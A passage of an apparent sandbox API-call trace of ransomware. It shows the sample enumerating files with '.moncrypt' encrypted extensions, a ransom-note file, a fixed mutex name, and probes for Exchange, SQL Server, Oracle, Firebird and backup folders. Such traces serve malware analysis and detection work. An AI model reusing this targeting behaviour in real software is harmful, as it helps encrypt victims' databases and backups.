(hMem=0x44000c) returned 0 [0050.694] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.694] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f73b2c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f73b2c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.694] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.694] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.694] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.694] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.694] GlobalUnlock (hMem=0x44000c) returned 0 [0050.694] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.694] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.694] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.694] GlobalUnlock (hMem=0x44000c) returned 0 [0050.694] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.694] GlobalUnlock (hMem=0x440004) returned 0 [0050.694] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.694] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM.moncrypt", cAlternateFileName="BLUECA~1.MON")) returned 1 [0050.694] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.694] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.694] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.695] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.695] GlobalUnlock (hMem=0x440004) returned 0 [0050.695] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.695] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.695] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.695] GlobalUnlock (hMem=0x440004) returned 0 [0050.695] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.695] GlobalUnlock (hMem=0x44000c) returned 0 [0050.695] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.695] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0050.695] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.695] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.695] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.695] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.695] GlobalUnlock (hMem=0x44000c) returned 0 [0050.695] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.695] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.695] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.695] GlobalUnlock (hMem=0x44000c) returned 0 [0050.695] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.695] GlobalUnlock (hMem=0x440004) returned 0 [0050.695] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.695] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f715160, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f715160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f715160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.695] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.695] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.695] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.695] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.695] GlobalUnlock (hMem=0x440004) returned 0 [0050.695] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.696] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.696] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.696] GlobalUnlock (hMem=0x440004) returned 0 [0050.696] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.696] GlobalUnlock (hMem=0x44000c) returned 0 [0050.696] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.696] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.696] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.696] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.696] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.696] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.696] GlobalUnlock (hMem=0x44000c) returned 0 [0050.696] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.696] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.696] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.696] GlobalUnlock (hMem=0x44000c) returned 0 [0050.696] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.696] GlobalUnlock (hMem=0x440004) returned 0 [0050.696] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.696] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.696] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.696] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.696] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.696] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.696] GlobalUnlock (hMem=0x440004) returned 0 [0050.696] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.696] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.697] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.697] GlobalUnlock (hMem=0x440004) returned 0 [0050.697] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.697] GlobalUnlock (hMem=0x44000c) returned 0 [0050.697] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.697] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.697] GetLastError () returned 0x12 [0050.697] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.697] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0050.697] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.697] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.697] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.697] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.697] GlobalUnlock (hMem=0x44000c) returned 0 [0050.697] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.697] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.697] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.697] GlobalUnlock (hMem=0x44000c) returned 0 [0050.697] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.697] GlobalUnlock (hMem=0x440004) returned 0 [0050.698] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.698] GlobalLock (hMem=0x440004) returned 0x550170 [0050.698] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.698] GlobalUnlock (hMem=0x440004) returned 0 [0050.698] GlobalLock (hMem=0x440004) returned 0x550170 [0050.698] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.698] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.698] GlobalUnlock (hMem=0x440004) returned 0 [0050.698] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.698] GlobalUnlock (hMem=0x44000c) returned 0 [0050.698] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.698] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT") returned 1 [0050.698] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.698] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.698] GlobalUnlock (hMem=0x44000c) returned 0 [0050.698] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.698] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.698] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.698] GlobalUnlock (hMem=0x44000c) returned 0 [0050.698] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.698] GlobalUnlock (hMem=0x440004) returned 0 [0050.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟒RꞦR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.704] GetLastError () returned 0x3 [0050.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.704] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.704] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0050.704] GetLastError () returned 0x2 [0050.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0050.705] GetLastError () returned 0x2 [0050.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0050.705] GetLastError () returned 0x2 [0050.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18삌R\x18j")) returned 0xffffffff [0050.706] GetLastError () returned 0x2 [0050.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0050.706] GetLastError () returned 0x2 [0050.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0050.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0050.707] GetLastError () returned 0x2 [0050.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0050.707] GetLastError () returned 0x2 [0050.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0050.708] GetLastError () returned 0x2 [0050.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", 